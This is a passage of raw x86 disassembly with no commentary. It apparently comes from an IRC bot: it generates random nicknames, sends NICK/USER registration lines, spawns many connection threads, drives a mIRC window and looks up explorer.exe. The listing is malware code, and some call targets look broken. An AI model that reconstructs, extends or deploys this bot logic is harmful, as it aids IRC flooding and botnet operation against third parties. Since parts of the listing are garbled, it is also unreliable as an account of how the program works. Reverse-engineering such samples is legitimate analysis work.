		jz	short loc_417858
		push	esi
		push	offset dword_4387B0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3


loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_4387A4


loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4


loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax


loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4014[esi]
		mov	dword_4D4008[esi], edi
		push	dword_4D4214[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D400C[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAFC4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAF8C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996


loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------


loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D400C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------


loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D4008[esi], ebx
		mov	esi, dword_4D400C[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4CB00C


loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8


loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D4008


loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DA728
		jl	short loc_417A78


loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4014[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4214[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4008[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71


loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_437EF0[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------


loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_437BF0[edx*4]


loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3


loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D


loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_437EF0[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch


loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC


loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------


loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC


loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------


loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------


loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8


loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------


loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h


loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi


loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------


loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax


loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------


loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7


loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2


loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0


loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1


loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]


loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4


loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch


loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx


loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi


loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx


loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A


loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx


loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA


loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------


loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------


loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2680000h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 27C0000h
		lea	eax, [ebp+var_100]


loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194


loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194


loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DA72C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4CAF64
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		nop
		call	near ptr 27C16E2h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 27C10BBh
		call	dword_4CAFC8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CAF80
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 27D04CAh
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 27D032Dh
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CAFD0
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CAFD0
		push	ebx
		call	near ptr 27D0000h
		nop
		push	edi
		nop
		call	near ptr 265092Ah
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------


loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax


loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
